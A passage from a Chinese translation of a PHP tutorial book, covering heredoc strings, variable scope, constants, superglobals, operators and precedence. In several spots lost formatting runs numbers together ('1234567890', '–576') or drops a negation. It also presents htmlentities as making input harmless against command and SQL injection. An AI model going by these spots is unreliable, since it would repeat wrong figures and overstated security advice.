此外,你可以使用转义字符插入各种特殊字符到字符串中,如制表符、换行符和回车符。你可能猜到,它们分别用 \t\n\r 表示。这里有一个使用制表符布局标题的示例—这仅用于说明转义,因为在网页中总有更好的布局方式:

$heading = "Date\tName\tPayment";

这些特殊的反斜杠前缀字符只在双引号包围的字符串中起作用。在单引号包围的字符串中,前面的字符串将显示为丑陋的\t序列而不是制表符。在单引号包围的字符串中,只有转义的撇号(\')和转义的反斜杠本身(\\)被识别为转义字符。

多行命令

有时你需要从 PHP 中输出大量文本,使用多个echo(或print)语句会耗时且混乱。为了解决这个问题,PHP 提供了两个便利的方法。第一个是将多行放在引号中,如示例 3-6 所示。变量也可以像在示例 3-7 中那样赋值。

示例 3-6. 多行字符串echo语句
<?php
  $author = "Steve Ballmer";

  echo "Developers, developers, developers, developers, developers,
 developers, developers, developers, developers!

 - $author.";
?>
示例 3-7. 多行字符串赋值
<?php
  $author = "Bill Gates";

  $text = "Measuring programming progress by lines of code is like
 Measuring aircraft building progress by weight.

 - $author.";
?>

PHP 还提供了使用<<<运算符的多行序列——通常称为here-documentheredoc——作为指定字符串文字的一种方式,保留文本中的换行和其他空白(包括缩进)。其使用方法可以在示例 3-8 中看到。

示例 3-8. 替代的多行echo语句
<?php
  $author = "Brian W. Kernighan";

  echo <<<_END
 Debugging is twice as hard as writing the code in the first place.
 Therefore, if you write the code as cleverly as possible, you are,
 by definition, not smart enough to debug it.

 - $author.
_END;
?>

这段代码告诉 PHP 输出两个_END标签之间的所有内容,就好像它是一个双引号包围的字符串(但在 heredoc 中,引号不需要转义)。这意味着开发者可以直接在 PHP 代码中编写整个 HTML 部分,然后只需用 PHP 变量替换特定的动态部分。

重要的是要记住,关闭的_END; 必须 出现在新行的开头,并且它必须是那一行中唯一 的内容—甚至不能在它后面添加注释(甚至是一个空格)。一旦你关闭了一个多行块,你可以自由地再次使用相同的标签名。

注意

记住:使用<<<_END..._END;这种 heredoc 结构时,你不需要添加\n换行符来换行,只需按回车键并开始新的一行。与双引号或单引号包围的字符串不同的是,在 heredoc 中,你可以自由地使用所有单引号和双引号,无需通过在它们前面加上反斜杠(\)进行转义。

示例 3-9 展示了如何使用相同的语法将多行赋值给一个变量。

示例 3-9. 多行字符串变量赋值
<?php
  $author = "Scott Adams";

  $out = <<<_END
 Normal people believe that if it ain't broke, don't fix it.
 Engineers believe that if it ain't broke, it doesn't have enough
 features yet.

 - $author.
_END;
echo $out;
?>

变量$out将被填充为两个标签之间的内容。如果你是在追加而不是赋值,你也可以使用.=来将字符串追加到$out而不是使用=

要小心不要在第一次出现的_END后面直接加上分号,因为这会在多行块甚至开始之前终止它,并导致Parse error消息。

顺便说一句,_END 标签只是我为这些示例选择的一个,因为在 PHP 代码中不太可能使用它,因此是唯一的。你可以使用任何你喜欢的标签,比如 _SECTION1_OUTPUT 等等。此外,为了区分这样的标签和变量或函数,一般的做法是在它们之前加上一个下划线。

注意

将文本布置在多行上通常只是为了使你的 PHP 代码更易于阅读,因为一旦它在网页中显示,HTML 格式规则就接管了,空白会被抑制(但是在我们的例子中,$author 仍然会被替换为变量的值)。

因此,例如,如果你将这些多行输出示例加载到浏览器中,它们将不会显示在几行上,因为所有浏览器都像对待空格一样对待换行符。但是,如果你使用浏览器的查看源代码功能,你会发现换行符被正确放置,PHP 保留了换行符。

变量类型

PHP 是一种弱类型语言。这意味着变量在使用之前不必声明,并且 PHP 总是在访问时根据上下文需要的类型来转换变量。

例如,你可以创建一个多位数,并通过假设它为字符串来提取它的第n位数字。在示例 3-10 中,数字1234567890相乘,返回结果838102050,然后放入变量$number中。

示例 3-10. 数字自动转换为字符串
<?php
  $number = 12345 * 67890;
  echo substr($number, 3, 1);
?>

在赋值点,$number是一个数值变量。但是在第二行,调用了 PHP 函数substr,它要求从$number中返回一个字符,从第四个位置开始(记住 PHP 偏移从零开始)。为此,PHP 将$number转换为一个九个字符的字符串,以便substr可以访问并返回字符,而在本例中是1

同样适用于将字符串转换为数字,等等。在示例 3-11 中,变量$pi被设置为一个字符串值,然后通过计算圆的面积的方程,在第三行自动转换为浮点数,输出值78.5398175

示例 3-11. 将字符串自动转换为数字
<?php
  $pi     = "3.1415927";
  $radius = 5;
  echo $pi * ($radius * $radius);
?>

实际上,这一切的意思是你不必过于担心你的变量类型。只需给它们赋予对你来说有意义的值,PHP 将根据需要自动转换它们。然后,当你想检索值时,只需请求它们,例如,使用echo语句,但请记住,有时自动转换的操作可能不像你期望的那样运行。

常量

常量与变量类似,用于保存稍后访问的信息,但它们就像它们听起来的那样——常量。换句话说,一旦定义了常量,其值在程序的其余部分设置,并且无法更改。

例如,你可以使用一个常量来保存服务器根目录的位置(网站主文件夹的位置)。你可以像这样定义这样一个常量:

define("ROOT_LOCATION", "/usr/local/www/");

然后,要读取变量的内容,只需像普通变量一样引用它(但不需要前面加上美元符号):

$directory = ROOT_LOCATION;

现在,每当你需要在不同配置的服务器上运行你的 PHP 代码时,你只需要改变一行代码。

注意

关于常量,你必须记住的两件主要事情是它们不应该以$开头(不像普通变量),并且只能使用define函数来定义它们。

通常被认为是一个良好的实践是只为常量变量名使用大写字母,特别是如果其他人也会阅读你的代码。

预定义常量

PHP 准备了几十个预定义的常量,作为初学者通常不会使用。然而,有一些被称为魔术常量,你会发现它们非常有用。魔术常量的名称总是以两个下划线开头和两个下划线结尾,这样你就不会意外地尝试使用已经被占用的名称来定义自己的常量。它们在 Table 3-5 中有详细介绍。表中提到的概念将在后续章节中介绍。

表 3-5. PHP 的魔术常量

魔术常量 描述
__LINE__ 文件的当前行号。
__FILE__ 文件的完整路径和文件名。如果在include中使用,则返回被包含文件的文件名。一些操作系统允许目录的别名,称为符号链接;在 __FILE__ 中,这些始终会被更改为实际的目录。
__DIR__ 文件所在的目录。如果在include中使用,返回被包含文件的目录。这相当于dirname(__FILE__)。这个目录名没有尾随的斜杠,除非它是根目录。
__FUNCTION__ 函数名。以声明时的大小写形式返回函数名。在 PHP 4 中,其值始终是小写的。
__CLASS__ 类名。以声明时的大小写形式返回类名。在 PHP 4 中,其值始终是小写的。
__METHOD__ 类方法名。方法名将以声明时的大小写形式返回。
__NAMESPACE__ 当前命名空间的名称。此常量在编译时定义(区分大小写)。

这些变量的一个方便用法是调试时,当你需要插入一行代码以查看程序流是否到达它:

echo "This is line " . __LINE__ . " of file " . __FILE__;

这会将当前文件中的当前程序行(包括路径)打印到 Web 浏览器。

echo 和 print 命令之间的区别

到目前为止,您已经看到了echo命令在多种不同方式下从服务器向浏览器输出文本。在某些情况下,已输出字符串文字。在其他情况下,首先连接字符串或评估变量。我还展示了分布在多行的输出。

但是有一种可以使用的echo替代方案:print。这两个命令非常相似,但print是一个类似函数的结构,接受一个参数并返回一个值(始终为1),而echo纯粹是 PHP 语言的构造。由于这两个命令都是构造,所以都不需要括号。

总的来说,echo命令通常比print命令稍快一点,因为它不设置返回值。另一方面,由于它不像函数实现,echo不能作为更复杂表达式的一部分使用,而print可以。下面是一个使用print输出变量值为TRUEFALSE的示例——使用echo无法以同样的方式执行,因为它将显示Parse error消息:

$b ? print "TRUE" : print "FALSE";

问号仅仅是一种询问变量$b是否为TRUEFALSE的方法。如果$bTRUE,则执行冒号后面左侧的命令,而如果$bFALSE,则执行冒号后面右侧的命令。

尽管如此,本书中的示例通常使用echo,我建议您在 PHP 开发中达到需要使用print的阶段之前也这样做。

函数

函数分离执行特定任务的代码部分。例如,也许您经常需要查找日期并以特定格式返回。这将是一个将其转换为函数的好例子。执行此操作的代码可能只有三行,但如果您不使用函数,则不得不在程序中粘贴它十几次,这将使您的程序变得不必要地庞大和复杂。而且,如果以后决定更改日期格式,将其放在函数中意味着只需更改一个地方。

将代码放入函数中不仅可以缩短程序并提高可读性,还可以增加额外的功能(双关语),因为函数可以接受参数以使其执行不同的操作。它们还可以将值返回给调用代码。

要创建函数,请按照示例 3-12 中所示的方式声明它。

示例 3-12. 一个简单的函数声明
<?php
  function longdate($timestamp)
  {
    return date("l F jS Y", $timestamp);
  }
?>

此函数以2025 年 5 月 2 日星期五的格式返回日期。初始括号之间可以传递任意数量的参数;我们选择只接受一个。花括号包围后续调用该函数时执行的所有代码。请注意,在此示例中date函数调用中的第一个字母是小写字母 L,不要与数字 1 混淆。

要使用这个函数输出今天的日期,请在你的代码中放置以下调用:

echo longdate(time());

如果你需要打印出 17 天前的日期,现在只需要发出以下调用:

echo longdate(time() - 17 * 24 * 60 * 60);

它传递给longdate当前时间减去 17 天前的秒数(17 天 × 24 小时 × 60 分钟 × 60 秒)。

函数也可以接受多个参数并返回多个结果,使用我将在接下来的章节中介绍的技术。

变量作用域

如果你有一个非常长的程序,很可能你会开始用尽好的变量名,但是在 PHP 中你可以决定变量的作用域。换句话说,你可以告诉它你想要变量$temp仅在特定函数内部使用,并在函数返回时忘记它曾经被使用过。事实上,这是 PHP 变量的默认作用域。

或者,你可以告诉 PHP 一个变量的作用域是全局的,因此可以被程序中的任何其他部分访问。

局部变量

局部变量是仅在函数内部创建并且只能被函数访问的变量。它们通常是临时变量,用于存储函数返回之前部分处理的结果。

一组局部变量是函数的参数列表。在前一节中,我们定义了一个接受名为$timestamp参数的函数。这仅在函数体中有意义;你不能在函数外部获取或设置它的值。

对于局部变量的另一个例子,请再看一下稍微修改过的longdate函数,在示例 3-13 中。

示例 3-13。longdate函数的扩展版本
<?php
  function longdate($timestamp)
  {
    $temp = date("l F jS Y", $timestamp);
    return "The date is $temp";
  }
?>

在这里,我们将date函数返回的值赋给临时变量$temp,然后将其插入到函数返回的字符串中。一旦函数返回,$temp变量及其内容就会消失,就像它们从未被使用过一样。

现在,为了看到变量作用域的影响,让我们看一些类似的代码,如示例 3-14。在这里,$temp在调用longdate函数之前被创建。

示例 3-14。试图在函数longdate中访问$temp将失败
<?php
  $temp = "The date is ";
  echo longdate(time());

  function longdate($timestamp)
  {
    return $temp . date("l F jS Y", $timestamp);
  }
?>

然而,因为$temp既不是在longdate函数内创建的,也没有作为参数传递给它,所以longdate无法访问它。因此,这段代码仅输出日期,而不是前面的文本。事实上,根据 PHP 的配置方式,它可能首先显示错误消息Notice: Undefined variable: temp,这是你不希望用户看到的。

这是因为,默认情况下,函数内创建的变量仅在该函数内部可用,而在任何函数之外创建的变量只能被非函数代码访问。

修复 示例 3-14 的一些方法出现在示例 3-15 和 3-16 中。

示例 3-15. 重新编写以在其本地作用域内引用 $temp 修复了问题
<?php
  $temp = "The date is ";
  echo $temp . longdate(time());

  function longdate($timestamp)
  {
    return date("l F jS Y", $timestamp);
  }
?>

示例 3-15 将对 $temp 的引用移出函数。引用出现在变量定义的同一作用域内。

示例 3-16. 另一种解决方案:将 $temp 作为参数传递
<?php
  $temp = "The date is ";
  echo longdate($temp, time());

  function longdate($text, $timestamp)
  {
    return $text . date("l F jS Y", $timestamp);
  }
?>

示例 3-16 中的解决方案将 $temp 作为额外参数传递给 longdate 函数。longdate 函数将其读入一个临时变量 $text 中,并输出所需的结果。

注意

忘记变量作用域是一个常见的编程错误,所以记住变量作用域是如何工作的将有助于你调试一些非常晦涩的问题。可以说,除非你另有声明,否则变量的作用域仅限于局部:要么是当前函数内,要么是在任何函数外的代码中,这取决于它是在函数内首次创建还是访问。

全局变量

有些情况下,你需要一个具有全局范围的变量,因为你希望所有的代码都能访问它。此外,有些数据可能又大又复杂,你不想把它作为函数的参数来回传递。

要从全局作用域访问变量,需添加关键字 global。假设你有一种方法将用户登录到网站,并希望所有代码都知道它是与已登录用户还是访客进行交互。一种方法是在变量前使用 global 关键字,如 $is_logged_in

global $is_logged_in;

现在你的登录函数只需在成功登录尝试时将该变量设置为 1,失败时设置为 0。由于变量的作用域设置为全局,你程序中的每一行代码都可以访问它。

尽管如此,你应该谨慎使用给予全局访问权限的变量。我建议只有在完全找不到其他实现结果的方法时才创建它们。通常,将程序分成小部分并隔离数据会减少 bug 并更容易维护。如果你有一个千行的程序(总有一天你会有这样的程序),发现某个全局变量在某个时刻有错误的值,你将需要多长时间才能找到设置它错误的代码?

另外,如果你有太多全局作用域的变量,你就有可能在本地再次使用其中的一个变量名,或者至少认为你已经在本地使用过它,实际上它已经声明为全局。这种情况可能导致各种奇怪的 bug。

注意

我通常采用所有需要全局访问的变量名大写的约定(就像建议将常量设为大写一样),这样我一眼就能看到变量的作用域。

静态变量

在“本地变量”章节(#local_variables)中,我提到当函数结束时,局部变量的值将被清除。如果函数运行多次,它将以变量的新副本开始,并且先前的设置不会产生影响。

这里有一个有趣的案例。如果您在函数内部有一个局部变量,不希望代码的其他部分访问它,但又希望保留其值以供下次调用函数时使用怎么办?为什么?也许是因为您想要一个计数器来跟踪函数调用的次数。解决方案是声明一个 静态 变量,如 示例 3-17 所示。

示例 3-17. 使用静态变量的函数
<?php
  function test()
  {
    static $count = 0;
    echo $count;
    $count++;
  }
?>

函数 test 的第一行创建了一个名为 $count 的静态变量,并将其初始化为 0。下一行输出变量的值;最后一行增加变量的值。

下次调用该函数时,由于 $count 已经声明,函数的第一行将被跳过。然后显示 $count 先前增加的值,然后再次增加变量。

如果您计划使用静态变量,应注意不能在定义中分配表达式的结果。它们只能用预定义的值初始化(参见 示例 3-18)。

示例 3-18. 允许和不允许的静态变量声明
<?php
  static $int = 0;         // Allowed
  static $int = 1+2;       // Correct (as of PHP 5.6)
  static $int = sqrt(144); // Disallowed
?>

超全局变量

从 PHP 4.1.0 开始,几个预定义变量可用。它们被称为 超全局变量,这意味着它们由 PHP 环境提供,但在程序中是全局的,可在任何地方访问。

这些超全局变量包含关于当前运行程序及其环境的大量有用信息(见 表 3-6)。它们结构化为关联数组,这是第六章讨论的主题(参见 第 6 章)。

表 3-6. PHP 超全局变量

超全局变量名称 内容
$GLOBALS 当前脚本全局范围内定义的所有变量。数组的键是变量名。
$_SERVER 包含头信息、路径和脚本位置等信息。此数组的条目由 Web 服务器创建,并不能保证每个 Web 服务器都提供所有或部分条目。
$_GET 通过 HTTP GET 方法传递给当前脚本的变量。
$_POST 通过 HTTP POST 方法传递给当前脚本的变量。
$_FILES 通过 HTTP POST 方法上传到当前脚本的项目。
$_COOKIE 通过 HTTP cookie 传递给当前脚本的变量。
$_SESSION 当前脚本可用的会话变量。
$_REQUEST | 浏览器传递的信息的内容;默认包括 $_GET$_POST$_COOKIE
$_ENV 通过环境方法传递给当前脚本的变量。

所有超全局变量(除了$GLOBALS)都以单个下划线和大写字母命名;因此,应避免以此方式命名您自己的变量,以避免潜在的混淆。

为了说明您如何使用它们,让我们看一个常见的例子。超全局变量提供的众多信息中,有一个是指向当前网页的引用页面的 URL。可以这样访问这些引用页面信息:

$came_from = $_SERVER['HTTP_REFERER'];

就是这么简单。哦,如果用户直接访问您的网页,比如直接在浏览器中输入其 URL,那么$came_from将被设置为空字符串。

超全局变量和安全性

在您开始使用超全局变量之前,需要注意一点,因为黑客经常利用它们来寻找可能破坏您网站的漏洞。他们会通过加载$_POST$_GET或其他超全局变量来注入恶意代码,如 Unix 或 MySQL 命令,如果您天真地访问它们,可能会导致损坏或显示敏感数据。

因此,在使用它们之前,您应始终对超全局变量进行清理。通过 PHP 的htmlentities函数是一种方法。它将所有字符转换为 HTML 实体。例如,小于号和大于号(<>)被转换为字符串&lt;&gt;,这样它们就变得无害了,所有的引号和反斜杠等也是如此。

因此,更好的访问$_SERVER(以及其他超全局变量)的方法是:

$came_from = htmlentities($_SERVER['HTTP_REFERER']);
警告

在任何需要处理用户或其他第三方数据以进行输出的情况下,使用htmlentities函数进行清理是一种重要的实践,而不仅仅是超全局变量。

本章为你提供了使用 PHP 的坚实基础。在第四章中,你将开始运用所学内容来构建表达式和控制程序流程,换句话说,进行实际编程。

但在继续之前,我建议你通过以下(如果可能的话,全部都做)问题来测试自己,确保你已经完全消化了本章的内容。

问题

  1. 用于启动 PHP 解释程序代码的标记是什么?它的简写形式是什么?

  2. 有哪两种类型的注释标签?

  3. 每个 PHP 语句的结尾必须放置哪个字符?

  4. 哪个符号用于定义所有 PHP 变量的前缀?

  5. 变量可以存储什么?

  6. $variable = 1$variable == 1之间有什么区别?

  7. 为什么变量名允许使用下划线($current_user),而不允许使用连字符($current-user)?

  8. 变量名区分大小写吗?

  9. 变量名可以包含空格吗?

  10. 如何将一个变量类型转换为另一个变量类型(比如从字符串到数字)?

  11. ++$j$j++之间有什么区别?

  12. 运算符&&and可以互换使用吗?

  13. 如何创建多行的echo或赋值?

  14. 能重新定义一个常量吗?

  15. 如何转义引号?

  16. echoprint 命令有什么区别?

  17. 函数的目的是什么?

  18. 如何使一个变量在 PHP 程序的所有部分都可访问?

  19. 如果在函数内生成数据,有哪些方法可以将数据传递给程序的其余部分?

  20. 将字符串和数字结合的结果是什么?

请参阅“第三章答案”,在附录 A 中找到这些问题的答案。

第四章:PHP 中的表达式和控制流

前一章只是简单介绍了一些这一章更全面涵盖的主题,如做出选择(分支)和创建复杂表达式。在前一章中,我想专注于 PHP 中最基本的语法和操作,但无法避免触及更高级的主题。现在我可以填补你需要正确使用这些强大 PHP 功能的背景。

在本章中,你将深入了解 PHP 编程的实践工作以及如何控制程序的流程。

表达式

让我们从任何编程语言中最基础的部分开始:表达式

表达式是值、变量、运算符和函数的组合,其结果是一个值。对于任何已经学过高中代数的人来说,这是熟悉的。这里有一个例子:

*`y`* = 3 (|2*`x`*| + 4)

在 PHP 中,它将是:

$y = 3 * (abs(2 * $x) + 4);

这个数学声明中返回的值(y在这个数学声明中,或者在 PHP 中是$y)可以是一个数字,一个字符串,或者一个布尔值(以 19 世纪英国数学家和哲学家乔治·布尔命名)。到现在为止,你应该熟悉前两种值类型,但我将解释第三种。

真还是假?

基本的布尔值可以是TRUEFALSE。例如,表达式20 > 9(20 大于 9)是TRUE,表达式5 == 6(5 等于 6)是FALSE。(你可以使用其他经典布尔运算符如ANDORXOR来结合这些操作,这些在本章后面会介绍。)

注意

请注意,我在TRUEFALSE的名称中使用了大写字母。这是因为它们在 PHP 中是预定义常量。如果你愿意,你也可以使用小写版本,因为它们也是预定义的。事实上,小写版本更稳定,因为 PHP 不允许重新定义它们;大写的可能会被重新定义,这是在导入第三方代码时需要注意的事情。

如果你要求 PHP 打印预定义的常量,它实际上不会这样做,就像在示例 4-1 中一样。对于每一行,示例打印出一个字母,后面跟着一个冒号和一个预定义常量。当示例运行时,PHP 将数字值1随意分配给TRUE,因此在a:之后显示1。更神秘的是,因为b:评估为FALSE,它不显示任何值。在 PHP 中,常量FALSE被定义为NULL,另一个表示无值的预定义常量。

示例 4-1。输出TRUEFALSE的值
<?php // test2.php
  echo "a: [" . TRUE  . "]<br>";
  echo "b: [" . FALSE . "]<br>";
?>

<br>标签用于创建换行符,从而在 HTML 中将输出分为两行。这是输出:

a: [1]
b: []

转向布尔表达式,示例 4-2 展示了一些简单的表达式:前面提到的两个,再加上另外两个。

示例 4-2。四个简单的布尔表达式
<?php
  echo "a: [" . (20 > 9) . "]<br>";
  echo "b: [" . (5 == 6) . "]<br>";
  echo "c: [" . (1 == 0) . "]<br>";
  echo "d: [" . (1 == 1) . "]<br>";
?>

这段代码的输出是:

a: [1]
b: []
c: []
d: [1]

顺便说一句,在某些语言中,FALSE 可能被定义为 0 或者甚至是 -1,所以在使用每种语言时,检查其定义是很重要的。幸运的是,布尔表达式通常深藏在其他代码中,因此你通常不必担心 TRUEFALSE 在内部的具体表现。事实上,这些名称在代码中很少出现。

文字和变量

这些是编程的最基本元素,也是表达式的构建块。文字 简单地意味着评估为其自身的东西,比如数字 73 或字符串 "Hello"。变量,我们已经看到其名称以美元符号开头,评估为已分配给它的值。最简单的表达式只是一个单一的文字或变量,因为两者都返回一个值。

示例 4-3 显示了三个文字和两个变量,它们都返回值,尽管类型不同。

示例 4-3. 文字和变量
<?php
  $myname = "Brian";
  $myage  = 37;

  echo "a: " . 73      . "<br>"; // Numeric literal
  echo "b: " . "Hello" . "<br>"; // String literal
  echo "c: " . FALSE   . "<br>"; // Constant literal
  echo "d: " . $myname . "<br>"; // String variable
  echo "e: " . $myage  . "<br>"; // Numeric variable
?>

正如你所期望的那样,你会从所有这些运算中看到返回值,除了 c:,它评估为 FALSE,在以下输出中不返回任何内容:

a: 73
b: Hello
c:
d: Brian
e: 37

结合运算符,可以创建更复杂的表达式,评估为有用的结果。

程序员将表达式与我们早些时候看到的赋值操作符等其他语言结构结合起来,形成语句。 示例 4-4 显示了两个语句。第一个将表达式 366 - $day_number 的结果赋给变量 $days_to_new_year,第二个仅在表达式 $days_to_new_year < 30 评估为 TRUE 时输出友好消息。

示例 4-4. 表达式和语句
<?php
  $days_to_new_year = 366 - $day_number; // Expression

  if ($days_to_new_year < 30)
  {
     echo "Not long now till new year";  // Statement
  }
?>

运算符

PHP 提供了许多强大的不同类型的运算符——算术、字符串、逻辑、赋值、比较等等(参见 表 4-1)。

表 4-1. PHP 运算符类型

运算符 描述 示例
算术 基本数学运算 $a + $b
数组 数组并集 $a + $b
赋值 赋值操作 $a = $b + 23
位运算 在字节内操作位 12 ^ 9
比较 比较两个值 $a < $b
执行 执行反引号内容 `ls -al`
增量/减量 加或减 1 $a++
逻辑 布尔运算 $a and $b
字符串 连接 $a . $b

每个运算符接受不同数量的操作数:

  • 一元 运算符,如递增($a++)或否定(!$a),接受一个操作数。

  • 二元 运算符,代表大多数 PHP 运算符(包括加法、减法、乘法和除法),接受两个操作数。

  • 唯一的三元 运算符,采用 expr ? x : y 的形式,需要三个操作数。它是一个简洁的单行 if 语句,如果 exprTRUE,则返回 x,如果 exprFALSE,则返回 y

运算符优先级

如果所有运算符的优先级相同,则按遇到的顺序处理它们。实际上,许多运算符确实具有相同的优先级。看看 示例 4-5。

示例 4-5. 三个等价表达式
1 + 2 + 3 - 4 + 5
2 - 4 + 5 + 3 + 1
5 + 2 - 4 + 1 + 3

在这里,您会看到尽管数字(及其前面的运算符)已经移动,但每个表达式的结果是值7,因为加号和减号运算符具有相同的优先级。我们可以用乘法和除法来尝试同样的事情(参见 示例 4-6)。

示例 4-6. 三个同等表达式
1 * 2 * 3 / 4 * 5
2 / 4 * 5 * 3 * 1
5 * 2 / 4 * 1 * 3

这里的结果值始终为7.5。但是当我们在一个表达式中混合具有不同优先级的运算符时,情况就会改变,就像 示例 4-7 中一样。

示例 4-7. 使用混合优先级运算符的三个表达式
1 + 2 * 3 - 4 * 5
2 - 4 * 5 * 3 + 1
5 + 2 - 4 + 1 * 3

如果没有运算符优先级,这三个表达式的计算结果将分别为25–2912。但是因为乘法和除法优先于加法和减法,这些表达式被计算为如果在表达式的这些部分周围有括号,就像数学表示法一样(参见 示例 4-8)。

示例 4-8. 显示隐含括号的三个表达式
1 + (2 * 3) - (4 * 5)
2 - (4 * 5 * 3) + 1
5 + 2 - 4 + (1 * 3)

PHP 首先计算括号内的子表达式,以得出半完成的表达式在 示例 4-9 中的结果。

示例 4-9. 在评估括号中的子表达式后
1 + (6) - (20)
2 - (60) + 1
5 + 2 - 4 + (3)

这些表达式的最终结果分别为–13–576(与没有运算符优先级时得到的25–2912完全不同)。

当然,您可以通过插入自己的括号并强制希望的任何顺序来覆盖默认的运算符优先级(参见 示例 4-10)。

示例 4-10. 强制左到右的评估
((1 + 2) * 3 - 4) * 5
(2 - 4) * 5 * 3 + 1
(5 + 2 - 4 + 1) * 3

正确插入括号后,现在可以看到值分别为25–2912

表 4-2 按优先级从高到低列出了 PHP 的运算符。

表 4-2. PHP 运算符的优先级(从高到低)

运算符 类型
() 括号
++ -- 自增/自减
! 逻辑
* / % 算术
+ - . 算术和字符串
<< >>
< <= > >= <> 比较
== != === !== 比较
& 位(及引用)
^
&#124;
&& 逻辑
&#124;&#124; 逻辑
? : 三元
= += -= *= /= .= %= &= != ^= <<= >>= 赋值
and 逻辑
xor 逻辑
or 逻辑

此表中的顺序并非任意排列,而是精心设计,以便您可以在不使用括号的情况下获取最常见和直观的优先级。例如,您可以使用andor分隔两个比较,以获得预期的结果。

结合性

我们一直在讨论从左到右处理表达式,除非运算符优先级生效。但是有些运算符要求从右到左处理,这种处理方向称为运算符的结合性。对于某些运算符,没有结合性。

结合性(如表 4-3 所详细说明的)在不显式强制优先级的情况下变得重要,因此您需要了解运算符的默认操作。

表 4-3. 运算符结合性

Operator 描述 Associativity
< <= >= == != === !== <> 比较 None
! 逻辑 NOT Right
~ NOT Right
++ -- 增加和减少 Right
(int) 转换为整数 Right
(double) (float) (real) 转换为浮点数 Right
(string) 转换为字符串 Right
(array) 转换为数组 Right
(object) 转换为对象 Right
@ 抑制错误报告 Right
= += -= *= /= 赋值 Right
.= %= &= &#124;= ^= <<= >>= 赋值 Right
+ 加法和一元加 Left
- 减法和取反 Left
* 乘法 Left
/ 除法 Left
% 取模 Left
. 字符串连接 Left
<< >> & ^ &#124; 位运算 Left
?: 三元运算符 Left
&#124;&#124; && and or xor 逻辑 Left
, 分隔符 Left

例如,让我们看一下赋值运算符在示例 4-11 中的应用,其中三个变量都设置为值0

示例 4-11. 多重赋值语句
<?php
  $level = $score = $time = 0;
?>

只有在先评估表达式的最右部分,然后继续从右到左处理时,才可能进行多重赋值。

注意

作为 PHP 的新手,您应该避免运算符结合性的潜在陷阱,始终将子表达式嵌套在括号中以强制评估顺序。这也将有助于其他可能需要维护您代码的程序员理解正在发生的事情。

关系运算符

关系运算符回答诸如“这个变量的值是否为零?”和“哪个变量的值更大?”的问题。这些运算符测试两个操作数并返回布尔结果,要么是TRUE要么是FALSE。关系运算符有三种类型:相等性比较逻辑

相等性

就像我们在本章中已经看到的几次一样,等号运算符是==(两个等号)。重要的是不要将它与=(单个等号)赋值运算符混淆。在例子 4-12 中,第一条语句分配一个值,第二条测试它是否相等。

例子 4-12. 分配一个值并测试相等性
<?php
  $month = "March";

  if ($month == "March") echo "It's springtime";
?>

如你所见,通过返回TRUEFALSE,等号运算符使你能够使用例如if语句来测试条件。但这并不是全部,因为 PHP 是一种弱类型语言。如果等号表达式的两个操作数类型不同,PHP 会将它们转换为它认为最合适的类型。很少使用的全等运算符由三个连续的等号组成,可以用来比较项目而不进行转换。

例如,任何完全由数字组成的字符串在与数字比较时将被转换为数字。在例子 4-13 中,$a$b是两个不同的字符串,因此我们预期if语句都不会输出结果。

例子 4-13. 等号和全等运算符
<?php
  $a = "1000";
  $b = "+1000";

  if ($a == $b)  echo "1";
  if ($a === $b) echo "2";
?>

然而,如果你运行这个例子,你会看到它输出数字1,这意味着第一个if语句评估为TRUE。这是因为两个字符串首先被转换为数字,并且1000+1000是相同的数值。相比之下,第二个if语句使用全等运算符,因此它将$a$b作为字符串进行比较,发现它们不同,因此不输出任何内容。

就像强制操作符优先级一样,每当你对 PHP 如何转换操作数类型感到怀疑时,你可以使用全等运算符来关闭这种行为。

就像你可以使用等号运算符来测试操作数是否相等一样,你也可以使用!=,不等运算符来测试它们相等。看一下例子 4-14,它是例子 4-13 的重写,其中等号和全等运算符已被它们的反向替换。

例子 4-14. 不等和非全等运算符
<?php
  $a = "1000";
  $b = "+1000";

  if ($a != $b)  echo "1";
  if ($a !== $b) echo "2";
?>

正如你可能期望的那样,第一个if语句不会输出数字1,因为代码询问$a$b是否在数值上相等。

相反,这段代码输出数字2,因为第二个if语句询问$a$b是否在它们实际的字符串类型上相同,答案是TRUE;它们不同。

比较运算符

使用比较运算符,你不仅可以测试相等和不相等,PHP 还提供了>(大于)、<(小于)、>=(大于等于)和<=(小于等于)等来使用。例子 4-15 展示了它们的使用。

示例 4-15. 四个比较运算符
<?php
  $a = 2; $b = 3;

  if ($a > $b)  echo "$a is greater than $b<br>";
  if ($a < $b)  echo "$a is less than $b<br>";
  if ($a >= $b) echo "$a is greater than or equal to $b<br>";
  if ($a <= $b) echo "$a is less than or equal to $b<br>";
?>

在此示例中,其中$a2$b3,输出如下:

2 is less than 3
2 is less than or equal to 3

请尝试自己运行此示例,改变$a$b的值,看看结果。尝试将它们设置为相同的值,看看会发生什么。

逻辑运算符

逻辑运算符产生truefalse的结果,因此也称为布尔运算符。共有四种运算符(请参见表 4-4)。

表 4-4. 逻辑运算符

逻辑运算符 描述
AND 如果两个操作数都为TRUE则为TRUE
OR 如果任一操作数为TRUE则为TRUE
XOR 如果两个操作数中的一个为TRUE则为TRUE
! (NOT) 如果操作数为FALSE则为TRUE,如果操作数为TRUE则为FALSE

您可以在示例 4-16 中看到这些运算符的使用。请注意,PHP 要求使用!符号代替NOT。此外,这些运算符可以是小写或大写。

示例 4-16. 使用的逻辑运算符
<?php
  $a = 1; $b = 0;

  echo ($a AND $b) . "<br>";
  echo ($a or $b)  . "<br>";
  echo ($a XOR $b) . "<br>";
  echo !$a         . "<br>";
?>

逐行分析,此示例输出空值、11和空值,意味着只有第二个和第三个echo语句评估为TRUE。(请记住,NULL—或空值—表示FALSE的值。)这是因为AND语句要求如果要返回TRUE值,那么两个操作数都必须为TRUE,而第四个语句对$a的值执行NOT操作,将其从TRUE(值为1)转换为FALSE。如果你想要试验一下,请尝试运行代码,并为$a$b赋予不同的10值。

注意

在编码时,请记住ANDOR的优先级低于操作符的其他版本,如&&||

OR运算符可能会在if语句中造成意外问题,因为如果第一个操作数被评估为TRUE,则不会评估第二个操作数。在示例 4-17 中,如果$finished的值为1,则函数getnext将永远不会被调用。

示例 4-17. 使用OR运算符的语句
<?php
  if ($finished == 1 OR getnext() == 1) exit;
?>

如果需要在每个if语句中调用getnext,可以像示例 4-18 中所做的那样重写代码。

示例 4-18. 修改后的if...OR语句以确保调用getnext
<?php
  $gn = getnext();

  if ($finished == 1 OR $gn == 1) exit;
?>

在这种情况下,在执行getnext函数并将返回的值存储在$gn之前,会执行if语句。

注意

另一个解决方案是交换两个子句以确保执行getnext,因为它将首先出现在表达式中。

表 4-5 显示了使用逻辑运算符的所有可能变体。还应注意,!TRUE等于FALSE!FALSE等于TRUE

